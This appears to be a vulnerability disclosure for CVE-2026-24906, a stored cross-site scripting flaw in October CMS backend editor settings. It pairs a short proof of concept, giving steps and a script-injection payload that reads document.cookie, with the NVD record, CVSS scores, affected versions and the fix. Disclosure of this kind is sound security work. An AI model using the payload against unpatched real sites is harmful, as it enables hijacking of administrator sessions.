CVE-2026-24906

// Proof of Concept for CVE-2026-24906 // Context: Backend Editor Settings -> Markup Classes fields // Description: Inject a malicious script into the style definition. // Step 1: Navigate to Backend Settings -> Editors -> Rich Editor // Step 2: In the "Markup Classes" section (e.g., for Paragraph styles), enter the following payload: var maliciousPayload = '"><script>alert(document.cookie)</script><div class="'; // Step 3: Save the settings. // Step 4: Wait for a Superuser to open any page containing a RichEditor. // Result: The JavaScript alert will trigger, executing in the context of the Superuser.

{"cve": {"id": "CVE-2026-24906", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:45.063", "lastModified": "2026-04-21T17:24:04.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "October is a Content Management System (CMS) and web platform. Versions prior to 3.7.14 and 4.1.10 contain a Stored Cross-Site Scripting (XSS) vulnerability in the Backend Editor Settings. The Markup Classes fields (used for paragraph styles, inline styles, table styles, etc.) did not sanitize input to valid CSS class name characters. Malicious values were rendered unsanitized in Froala editor dropdown menus, allowing JavaScript execution when any user opened a RichEditor. Exploitation could lead to privilege escalation if a superuser opens any RichEditor during routine content editing (e.g., editing a blog post), and requires authenticated backend access with editor settings permissions. This issue has been fixed in versions 3.7.14 and 4.1.10. To workaround this issue, restrict editor settings permissions to fully trusted administrators only"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.7.13", "matchCriteriaId": "A07FA7C9-BC27-4953-93C7-AB142B989CC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndIncluding": "4.1.9", "matchCriteriaId": "9C5346C3-F4C0-4DD0-AAAC-A12A7EB93C8F"}]}]}], "references": [{"url": "https://github.com/octobercms/october/security/advisories/GHSA-6qmh-j78v-ffp7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}